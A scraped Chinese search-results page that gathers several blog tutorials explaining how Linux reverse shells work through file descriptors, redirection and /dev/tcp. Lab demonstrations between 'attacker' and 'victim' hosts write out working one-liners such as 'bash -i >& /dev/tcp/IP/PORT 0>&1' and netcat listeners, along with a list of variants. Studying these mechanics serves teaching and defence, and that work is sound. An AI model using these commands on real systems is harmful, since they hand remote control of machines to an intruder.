精华内容
下载资源
问答
  • 反弹shell往往是在攻击者无法直接连接受害者的情况下进行的操作,原因有很多,例如目标是局域网,或者开启防火墙的某些策略等情况,而这时,我们就可以让受害者主动向攻击者发起连接,被控端发起请求到控制端某端口...
  • 反弹shell原理与实现

    2021-03-09 10:15:10
    什么是反弹shell?  反弹shell(reverse shell),就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的...

    什么是反弹shell?

      反弹shell(reverse shell),就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。

     

    为什么要反弹shell?

    通常用于被控端因防火墙受限、权限不足、端口被占用等情形。

    举例:假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。远程桌面、web服务、ssh、telnet等等都是正向连接。那么什么情况下正向连接不能用了呢?

    有如下情况:

    1.某客户机中了你的网马,但是它在局域网内,你直接连接不了。 

    2.目标机器的ip动态改变,你不能持续控制。

    3.由于防火墙等限制,对方机器只能发送请求,不能接收请求。

    4.对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机等情况都是未知的,所以建立一个服务端让恶意程序主动连接,才是上策。

    那么反弹就很好理解了,攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹连接。

     

    ==============================================================

    参考:

    https://www.zhihu.com/question/24503813   知乎:反弹shell是什么意思啊?网上看了半天都没有相关的基础的解释?

     

     

    反弹shell实验

    环境:两台CentOS7.6服务器

    • 攻击端 hacker:10.201.61.194 
    • 受害端 victim:10.201.61.195 

    1. 攻击端监听一个端口:

    [root@hacker ~]# nc -lvp 6767

    Ncat: Version 7.50 ( https://nmap.org/ncat )

    Ncat: Listening on :::6767

    Ncat: Listening on 0.0.0.0:6767

     

    2.受害端生成一个反弹shell:

    [root@victim ~]# bash -i >& /dev/tcp/10.201.61.194/6767 0>&1

     

    3.攻击端已获取到受害端的bash:

    [root@hacker ~]# nc -lvp 6767

    Ncat: Version 7.50 ( https://nmap.org/ncat )

    Ncat: Listening on :::6767

    Ncat: Listening on 0.0.0.0:6767

    Ncat: Connection from 10.201.61.195.

    Ncat: Connection from 10.201.61.195:46836.

    [root@victim ~]#         //攻击端已获得受害端的远程交互式shell

    [root@victim ~]# hostname

    hostname

    victim

     

    解释:

    1. nc -lvp 6767

     -l 监听,-v 输出交互或出错信息,-p 端口。nc是netcat的简写,可实现任意TCP/UDP端口的侦听,nc可以作为server以TCP或UDP方式侦听指定端口。

     

    2. bash -i

    -i interactive。即产生一个交互式的shell(bash)。

     

    3. /dev/tcp/IP/PORT

    特殊设备文件(Linux一切皆文件),实际这个文件是不存在的,它只是 bash 实现的用来实现网络请求的一个接口。打开这个文件就相当于发出了一个socket调用并建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。

     

     

    通过以下4个小测试来分析反弹shell实现过程:

    (PS: 注意执行步骤顺序)

     

    测试1:

    受害端:

    [root@victim ~]# bash -i > /dev/tcp/10.201.61.194/5566        //第二步
    [root@victim ~]# hostname        //第三步
    [root@victim ~]#

    攻击端:

    [root@hacker ~]# nc -lvp 5566      //第一步

    Ncat: Version 7.50 ( https://nmap.org/ncat )
    Ncat: Listening on :::5566
    Ncat: Listening on 0.0.0.0:5566
    Ncat: Connection from 10.201.61.195.
    Ncat: Connection from 10.201.61.195:49018.

    victim      //测试1结果:实现了将受害端的标准输出重定向到攻击端,但是还没实现用命令控制受害端。

     

    测试2:

    受害端:

    [root@victim ~]# bash -i < /dev/tcp/10.201.61.194/5566        //第二步
    [root@victim ~]# hostname        //测试2结果:实现了将攻击端的输入重定向到受害端,但是攻击端看不到命令执行结果。
    victim

     攻击端:

    [root@hacker ~]# nc -lvp 5566        //第一步
    Ncat: Version 7.50 ( https://nmap.org/ncat )
    Ncat: Listening on :::5566
    Ncat: Listening on 0.0.0.0:5566
    Ncat: Connection from 10.201.61.195.
    Ncat: Connection from 10.201.61.195:50412.
    hostname        //第三步(攻击端执行命令)

     

    测试3

    受害端:

    [root@victim ~]# bash -i > /dev/tcp/10.201.61.194/5566 0>&1        //第二步
    [root@victim ~]# hostname        //受害端回显命令
    [root@victim ~]# id        //受害端回显命令
    [root@victim ~]# hahaha        //受害端回显命令
    bash: hahaha: command not found        //受害端回显命令。显示错误命令的输出。
    [root@victim ~]#

     攻击端:

    [root@hacker ~]# nc -lvp 5566        //第一步
    Ncat: Version 7.50 ( https://nmap.org/ncat )
    Ncat: Listening on :::5566
    Ncat: Listening on 0.0.0.0:5566
    Ncat: Connection from 10.201.61.195.
    Ncat: Connection from 10.201.61.195:36792.
    hostname        //第三步(攻击端执行命令)
    victim
    id        //第四步(攻击端执行命令)
    uid=0(root) gid=0(root) groups=0(root)
    hahaha        //第五步(执行一个错误的命令)

    //测试3结果:基本实现了反弹shell的功能。但是受害端的机器上依然回显了攻击者机器上执行的命令,且攻击端看不到错误命令的输出。

     

     测试4(将上面三个测试结合。将标准输入、标准输出、错误输出全都重定向到攻击端): 

    受害端:

    [root@victim ~]# bash -i > /dev/tcp/10.201.61.194/5566 0>&1 2>&1        //第二步。或 # bash -i &> /dev/tcp/10.201.61.194/5566 0>&1  (注:&>或>& 表示混合输出,即标准输出1 + 错误输出2)

    攻击端:

    [root@hacker ~]# nc -lvp 5566        //第一步
    Ncat: Version 7.50 ( https://nmap.org/ncat )
    Ncat: Listening on :::5566
    Ncat: Listening on 0.0.0.0:5566
    Ncat: Connection from 10.201.61.195.
    Ncat: Connection from 10.201.61.195:51182.
    [root@victim ~]# hostname        //第三步。测试4结果:攻击端已获得受害端的远程交互式shell,而且受害端没有再回显攻击端输入的命令~
    hostname
    victim

    //PS:由测试3、测试4对比可见,标准错误2不仅显示错误信息的作用,居然还有回显输入命令和终端提示符的作用~~~

     

    总结

    本文整理了反弹shell的一些资料并通过实验理解反弹shell原理。深入理解文件描述符和重定向才能更好弄懂反弹shell~

     

    ==============================================================

    参考:

    https://xz.aliyun.com/t/2549   先知社区:Linux 反弹shell(二)反弹shell的本质

    https://www.freebuf.com/articles/system/153986.html   FREEBUF:浅析重定向与反弹Shell命令

    展开全文
  • bash反弹shell原理

    2019-10-12 21:59:12
    今天在做靶机的时候用冰蝎反弹shell,本地监听获得的shell如图: 有人称之为‘哑‘shell。短处有很多。还好知道一条python命令获得标准shell: python -c "import pty;pty.spawn('/bin/bash')"; 不巧,执行多遍没有...

    背景

    今天在做靶机的时候用冰蝎反弹shell,本地监听获得的shell如图:
    在这里插入图片描述
    有人称之为‘哑‘shell。短处有很多,比如很多命令执行没有回显。还好知道一条python命令获得标准shell:

    python -c "import pty;pty.spawn('/bin/bash')";
    

    不巧,执行多遍没有反应。因此想其他的办法,看到用这条命令反弹的shell命令提示的效果不错,之前也看到过别人用这条命令,但不很理解这条命令的含义,看了这篇文章,豁然开朗。下面记录一下。

    0x01 > 和 >&的区别

    当>后面接文件时,表示将标准输出和标准错误输出重定向至文件。
    当>&后面接文件描述符时,表示将前面的文件描述符重定向至后面的文件描述符

    上面提到文章其实已经说的很清楚。这里要理解啥叫文件描述符。

    文件描述符是内核为了高效管理已被打开的文件所创建的索引,用于指向被打开的文件,所有执行I/O操作的系统调用都通过文件描述符;文件描述符是一个简单的非负整数,用以表明每个被进程打开的文件。程序刚刚启动时,第一个打开的文件是0,第二个是1,以此类推。也可以理解为文件的身份ID。

    文件描述符 通道名 描述 默认连接 用途
    0 stdin 标准输入 键盘 read only
    1 stdout 标准输出 终端 write only
    2 stderr 标准错误 终端 write only
    3以上 filename 其他文件 none read and/or write

    所以

    cat xx 2>&1
    

    表示我们cat xx这个不存在的文件,将系统的标准错误(2)重定向到标准输出(1)。

    cat xx 2>1
    

    表示将标准错误重定向到1这个文件。

    0x02 /dev/tcp/ip/port

    /dev/tcp/ip/port看着像一个系统文件,但在Linux系统中其实并不存在该文件,这里其实是bash实现网络请求的一个接口。调用的时候会发起一个socket请求。

    0x03 bash -i >& /dev/tcp/ip/port

    bash -i
    

    产生一个交互shell。所以

    bash -i >& /dev/tcp/ip/port
    

    这一部分的意思是产生一个交互shell,重定向到远程ip:port。这里其实已经将标准错误标准输出重定向到远程。但还存在一个问题就是无法在远程输入命令。也就是就算我们在远程输入命令也无法执行。因为我们没有将标准输入也重定向到远程。

    0x05 0>&1

    0和1我们前面已经说过。0>&1它表明将标准输入重定向到标准输出。因为标准输出已经重定向到远端,所以标准输入也会重定向到远端。实现远程输入命令。

    0x06 总结

    所以

    bash -i >& /dev/tcp/ip/port 0>&1
    

    整句话表示将交互的bash(标准输出和错误)重定向到ip:port,并且将标准输入也重定向到远程。

    此时数据的流向为:
    在这里插入图片描述

    参考

    https://blog.csdn.net/u012206617/article/details/86174409
    https://www.jianshu.com/p/80d6b5a61372
    https://www.cnblogs.com/diantong/p/10413079.html

    展开全文
  • linux反弹shell原理

    2019-07-30 16:32:36
    一直知道Linux反弹shell。但是不知道其原理所以今天学习了一波。 文件描述符 首先我们要明白文件描述符是什么? 文件描述符定义:文件描述符在形式上是一个非负整数。实际上,它是一个索引值,指向内核为每一个进程...

    一直知道Linux反弹shell。但是不知道其原理所以今天学习了一波。

    什么是反弹shell?

    假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。远程桌面,web服务,ssh,telnet等等,都是正向连接。
    那么什么情况下正向连接不太好用了呢?
    1.某客户机中了你的网马,但是它在局域网内,你直接连接不了。它的ip会动态改变,你不能持续控制。
    2.由于防火墙等限制,对方机器只能发送请求,不能接收请求。
    3.对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知,所以建立一个服务端,让恶意程序主动连接,才是上策。那么反弹就很好理解了, 攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹连接。

    文件描述符

    首先我们要明白文件描述符是什么?

    文件描述符定义:文件描述符在形式上是一个非负整数。实际上,它是一个索引值,指向内核为每一个进程所维护的该进程打开文件的记录表。当程序打开一个现有文件或者创建一个新文件时,内核向进程返回一个文件描述符。在程序设计中,一些涉及底层的程序编写往往会围绕着文件描述符展开。但是文件描述符这一概念往往只适用于UNIX、Linux这样的操作系统。
    linux默认启动时,会启用三个文件描述符。

    0 标准输入(standard input)--------->默认设备键盘
    1 标准输出(standard output-------->默认设备显示器
    2 标准错误(standard error-------->默认设备显示器

    在linux系统中打开文件就会获得文件描述符,它是个很小的非负整数。每个进程在PCB(Process Control Block)中保存着一份文件描述符表,文件描述符就是这个表的索引,每个表项都有一个指向已打开文件的指针。

    注意:

    • 以后再打开文件,文件描述符将会增加
    • 一条shell命令,都会继承其父进程的文件描述符,因此所有的shell命令,都会默认有三个文件描述符
    • 所有linux下打开的文件都是由文件描述符控制的(Linux一切皆文件,就连键盘显示器设备都是文件,因此他们的输入输出也是由文件描述符控制)

    对于任何一条linux 命令执行,它会是这样一个过程:
    在这里插入图片描述
    一个命令执行了:

    先有一个输入:输入可以从键盘,也可以从文件得到

    命令执行完成:成功了,会把成功结果输出到屏幕:standard output默认是屏幕

    命令执行有错误:会把错误也输出到屏幕上面:standard error默认也是指的屏幕

    重定向

    重定向字面意思是:数据本该定向到A的,结果中途将其转定向为B.
    重定向主要分为两种:
    输入重定向 用 <<<
    输出重定向 用 >>>

    注意:
    < 是对标准输入 0 重定向 ,> 是对标准输出 1 重定向

    当使用一个>是将文件内容覆盖
    当使用两个>>是在原文件末尾补充

    • 输入重定向

    说明:这里是将文件描述符0以只读的形式打开

    cat < file
    hacker
    cat 0< file
    hacker

    在这里插入图片描述
    在这里插入图片描述

    说明:当linux解析到重定向符号时就会解析重定向,将标准输入重定向到file,之后cat再从标准输入读取指令。

    • 输出重定向

    echo hello 1> file
    cat file
    hello
    在这里插入图片描述
    说明:这里的意思是输出hello并将其重新定向到 file文件中

    文件描述符的复制
    说明:文件描述符可以
    n <& m n >& m
    将文件描述符 n 复制到 m ,两者的区别是,前者是以只读的形式打开,后者是以写的形式打开
    因此 0<&1 和 0>&1 是完全等价的(读/写方式打开对其没有任何影响)

    exec 绑定重定向
    在这里插入图片描述
    说明:将file读入到fd3中,将file中的内容作为标准写出,Ls将不会有显示,直接写入fd3中了,就上面的file中。

    总结:反弹shell中最核心的部分就是重定向

    参考链接:
    https://www.cnblogs.com/chengmo/archive/2010/10/20/1855805.html
    https://xz.aliyun.com/t/2548#toc-10
    https://www.zhihu.com/question/24503813/answer/102253018

    展开全文
  • Linux之bash反弹shell原理浅析

    千次阅读 多人点赞 2019-04-07 02:21:26
    环境 攻击机:kali ip:192.168.25.144 靶 机:centos ip:192.168.25.142 过程 ...靶机 centos 写入 反弹shell 的命令 bash -i >& /dev/tcp/192.168.25.144/8888 0>&1 ...

     

     

    环境

    攻击机:kali            ip:192.168.25.144

    靶    机:centos      ip:192.168.25.142

     

    过程

    kali 监听本地8888端口

    靶机 centos 写入 反弹shell 的命令

    bash -i >& /dev/tcp/192.168.25.144/8888 0>&1
    

     

    攻击机 kali 成功反弹shell

     

    原理

    反弹shell往往是在攻击者无法直接连接受害者的情况下进行的操作,原因有很多,例如目标是局域网,或者开启防火墙的某些策略等情况,而这时,我们就可以让受害者主动向攻击者发起连接,被控端发起请求到控制端某端口,并将其命令行的输入输出转到控制端,从而实现交互

     

    我们将命令拆开

    bash -i 
    /dev/tcp/192.168.25.144/8888
     >&   0>&1

     

    bash

    Linux中一般默认的shell是bash,它功能几乎可以涵盖shell所具有的功能,所以一般的shell脚本都会指定它为执行路径

    常用的shell有  ash、bash、dash、ksh、csh、zsh 等,不同的shell都有自己的特点以及用途

    查询当前shell命令    ls -l /bin/sh

     

    bash -i  打开一个交互式的bash            shell 如果有 -i 参数,就是交互式的

    交互的意思就是可以和用户进行交互,输入命令,回显给用户就是一个交互的过程,而执行一个shell脚本就是非交互的

    使用命令  echo $-  可以查看是否是交互式shell

         有参数  i ,是交互式的

    执行一个shell脚本

      无参数 i ,非交互式

     

    /dev目录

    dev是设备(device)的英文缩写。这里主要存放与设备(包括外设)有关的文件,Linux一切皆文件

     /dev/tcp/是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。同理,Linux中还存在/dev/udp/

    /dev/tcp/192.168.25.144/8888

    所以上述命令就是和192.168.25.144:8888建立TCP连接

     

    文件描述符

    Linux 系统中,把一切都看做是文件,当进程打开现有文件或创建新文件时,内核向进程返回一个文件描述符,文件描述符就是内核为了高效管理已被打开的文件所创建的索引,用来指向被打开的文件。

    所有执行I/O操作的系统调用都会通过文件描述符,即文件描述符可控制输入输出(输入/输出重定向

     

    标准输入(stdin):           代码为  0     使用 < 或 <<          默认设备键盘

    标准输出(stdout):         代码为  1     使用 > 或 >>          默认设备显示器

    标准错误输出(stderr):  代码为   2    使用 2> 或 2>>      默认设备显示器

     ---       +--------+
    ( 0 ) ---->|dev/tty0|    当开启一个终端时 默认的文件描述符 指向  /dev/tty0(虚拟终端)
     ---       +--------+ 
                             
     ---       +--------+  
    ( 1 ) ---->|dev/tty0|  
     ---       +--------+    
          	       	        
     ---       +--------+  
    ( 2 ) ---->|dev/tty0| 
     ---       +--------+

    大多数Linux 系统命令从你的终端接受输入并将所产生的输出发送回​​到您的终端。一个命令通常从一个叫标准输入的地方读取输入,默认情况下,这恰好是你的终端。同样,一个命令通常将其输出写入到标准输出,默认情况下,这也是你的终端

     

     

     

    Shell 输入/输出重定向

     

    我们让上图  输出重定向

    使用    1>    将输出结果写入到 指定文件中    文件不存在则创建文件,文件如果存在会覆盖原文件内容

    省略不写则默认就是 1       同理,输入重定向  0<   省略不写则默认就是 0

     

    使用  >>   会追内容在文件末尾

     

     

     

    结合上面建立的TCP连接

    kali攻击机收到

     

     

    结合bash -i

    在kali得到命令执行结果的回显

    此时我们输入name,可以看到,标准输出错误并未被重定向

     ---       +--------+
    ( 0 ) ---->|dev/tty0|
     ---       +--------+ 
                           
     ---       +--------+           +------------------+
    ( 1 ) ---->|dev/tty0|   ---->   |/dev/tcp/host/port|
     ---       +--------+           +------------------+
          	       	       
     ---       +--------+  
    ( 2 ) ---->|dev/tty0| 
     ---       +--------+

     

     

    输入重定向

     

    在kali攻击机,输入

    靶机得到输入指令,标准输出(默认终端)

     ---       +--------+
    ( 0 ) ---->|dev/tty0|\
     ---       +--------+ \
                           \
     ---       +--------+   ---->   +------------------+
    ( 1 ) ---->|dev/tty0|           |/dev/tcp/host/port|
     ---       +--------+           +------------------+
          	       	       
     ---       +--------+  
    ( 2 ) ---->|dev/tty0| 
     ---       +--------+

    !!!!!!!!!!!!!!!

    此时,我们只需要将

    bash i  > /dec/tcp/192.168.25.144/8888  和   bash i  <  /dec/tcp/192.168.25.144/8888  结合

    实现在攻击机 kali 输入 命令,在kali 机 得到命令回显,实现了反弹shell

    即 使用下面的命令

    bash -i > /dev/tcp/192.168.25.144/8888 0>&1

     

    效果     kali   ip:192.168.25.140 

    此时靶机会输出在攻击机所输入的命令,还有一个问题,标准错误输出 并没有重定向

    补充:

    bash 在执行一条指令的时候,首先会检查命令中存不存在重定向的符号,如果存在那么首先将文件描述符重定向,存在多个则从左往右依次执行

     

    标准输出与标准错误输出重定向

    此时反弹shell语句里边用到了  >&    操作符,>&  操作符在不同情况下有不通的含义

    在   >&word  语法中,当word是数字或  字符时,操作符  >&   表示复制 文件描述符 

        而文件描述符的复制格式有     num1<&num2  和 num1>&num2 

        这里两个都是将文件描述符 num1 复制到 num2 ,两者的区别是,前者是以只读的形式打开,后者是以写的形式打开

        因此 num1<&num2  和 num1>&num2 是等价的(读/写方式打开对其没有任何影响)

        所以上述命令可以修改为     bash -i > /dev/tcp/192.168.25.144/8888 0<&1

     

       所以    0>&1  或者   0<&1

       是对文件描述符的拷贝,是将0[标准输入]重定向到了1[标准输出]指向的位置

       此时1[标准输出]指向的是socket连接文件(第一个  >   )

       重定向完成后,0[标准输入]也指向了socket连接文件,所以我推测因为拷贝,所以原标准输出回显到靶机上(kali上敲的命  令)

     ---       +--------+
    ( 0 ) ---->|dev/tty0|\
     ---       +--------+ \
                           \
     ---       +--------+   ---->   +------------------+
    ( 1 ) ---->|dev/tty0|   ---->   |/dev/tcp/host/port|
     ---       +--------+           +------------------+
          	       	       
     ---       +--------+  
    ( 2 ) ---->|dev/tty0| 
     ---       +--------+

    此时标准错误输出 依然未曾改变

     

     

    在   >&word  语法中,当word不是数字或  -  字符时    >&  表示将 标准错误输出合并到标准输出中

         此时与操作符   &> 功能一样     >&word 等价于 &> word       都相当于        > word  2>&1
     

        当执行 bash -i  > /dev/tcp/192.168.25.140/9999 0>&1   命令时,效果如下 标准输出错误并未被重定向

         

        所以我们执行命令   bash -i  > /dev/tcp/192.168.25.140/9999 0>&1 2>&1   或

        bash -i  >& /dev/tcp/192.168.25.140/9999 0>&1       均形成了一个闭合的回路  ,同样,命令回显到攻击机上

       

      实现以下效果形成闭合,即可反弹shell ,而其他一些反弹命令,只要可以形成如下效果即可

     ---       +--------+
    ( 0 ) ---->|dev/tty0|\
     ---       +--------+ \
                           \
     ---       +--------+   ---->   +------------------+
    ( 1 ) ---->|dev/tty0|   ---->   |/dev/tcp/host/port|
     ---       +--------+   ---->   +------------------+
          	       	        /
     ---       +--------+  /
    ( 2 ) ---->|dev/tty0| / 
     ---       +--------+
    bash -i >& /dev/tcp/192.168.146.25.144/8888 <&1
    bash -i >& /dev/tcp/192.168.146.25.144/8888 <&2
    bash -i >& /dev/tcp/192.168.146.25.144/8888 0<&1
    bash -i >& /dev/tcp/192.168.146.25.144/8888 0<&2
    bash -i >& /dev/tcp/192.168.146.25.144/8888 0>&1
    
    bash -i >& /dev/tcp/192.168.146.25.144/8888 0>&2
    
    bash -i  > /dev/tcp/192.168.25.144/8888 0>&1 2>&1

     

     

     

    本文借鉴了很多大佬的博客,如有更正的地方。还望指出

     

     

    参考链接:

    https://xz.aliyun.com/t/2549

    https://www.gnu.org/software/bash/manual/html_node/Redirections.html

    http://wiki.bash-hackers.org/howto/redirection_tutorial

    https://www.00theway.org/2017/07/11/bash%20%E5%8F%8D%E5%BC%B9shell/

     

    展开全文
  • 3,反弹shell作用与目的 4,基础反弹shell语句的本质 5,反弹shell多种方式(命令行,php,python,java,nc) 壹 Linux中的文件描述符 首先我们需要回顾一下Linux系统的一个特点:一切皆文件 所有不同种类的...
  • bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 bash -i > /dev/tcp/ip/port 0>&1 2>&1
  • 反弹shell命令: bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 bash -i > /dev/tcp/ip/port 0>&1 2>&1 利用nc反弹shell: nc -lvvp 12345 -t -e /bin/bash 原理 bash -i > /dev/tcp/ip/port 0>&1 2>&1 bash -i 打开一...
  • 前言 shell:一种用来执行操作系统...远程系统监听一个TCP/UDP端口,本地系统运行反弹shell反弹shell会连接该端口,并接收远程系统发送的shell指令,执行之后再将指令的输出流转发给远程系统。 1.1文件描述符 ...
  • 反弹shell文件描述符与重定向 在这里最难理解的就是文件描述符和重定向这两部分 先来讲一下linux的文件描述符,什么是文件描述符, 在linux系统中将所有设备都当做文件来处理,而linux文件描述符用来标识每个文件...
  • 什么是反弹shell,以及对反弹shell作用原理的解析:3.反弹shell的本质linux文件描述符重定向输入重定向输出重定向标准输出与标准错误输出重定向文件描述符的复制exec 绑定重定向对反弹shell执行的实例分析:>&...
  • Linux 反弹shell(二)反弹shell的本质 from:https://xz.aliyun.com/t/2549 0X00 前言 在上一篇文章Linux反弹shell(一)文件描述符与重定向,我们已经讨论过了反弹shell中最核心也是相对较难理解的部分...
  • 在上一篇文章Linux反弹shell(一)文件描述符与重定向,我们已经讨论过了反弹shell中最核心也是相对较难理解的部分,那么接下来我们就可以正式借反弹shell的实例分析回顾前一篇文章讲的知识,并且也加深对反弹shell...
  • word`文件描述符的复制Linux 反弹shell原理常用linux下反弹shellwindows下反弹shell总结 简述 反弹shell就是: 就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。...
  • 反弹shell

    2019-06-01 00:03:00
    1. 关于反弹shell 就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。 2. ...
  • nc反弹shell

    2019-09-18 22:44:02
    nc反弹shell的几种方式 原理介绍 就拿我们经常访问的网页来说,一般情况下比如网站的Web服务是在80端口,那么我们每次访问网站其实就是和网站的服务器通过80端口来建立连接,从而传输数据。反弹shell就是要我们的vps...
  • 反弹shell姿势复现(一)前言复现环境说明反弹shell姿势(一)--- 利用bash反弹shell重要说明方法一方法二 前言     反弹shell有很多种方式,这个系列内容较多,之后也会不断更新,对于反弹...
  • Linux反弹shell

    千次阅读 2018-11-29 23:55:26
    Bash反弹shell Python反弹shell 其他命令反弹shell 写入命令到定时任务文件 写入SSH公钥 写入/etc/profile文件 当我们可以在远程Linux主机上执行任意命令或写入任意数据到任意文件的时候,我们通常会通过以下...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 2,777
精华内容 1,110
关键字:

反弹shell原理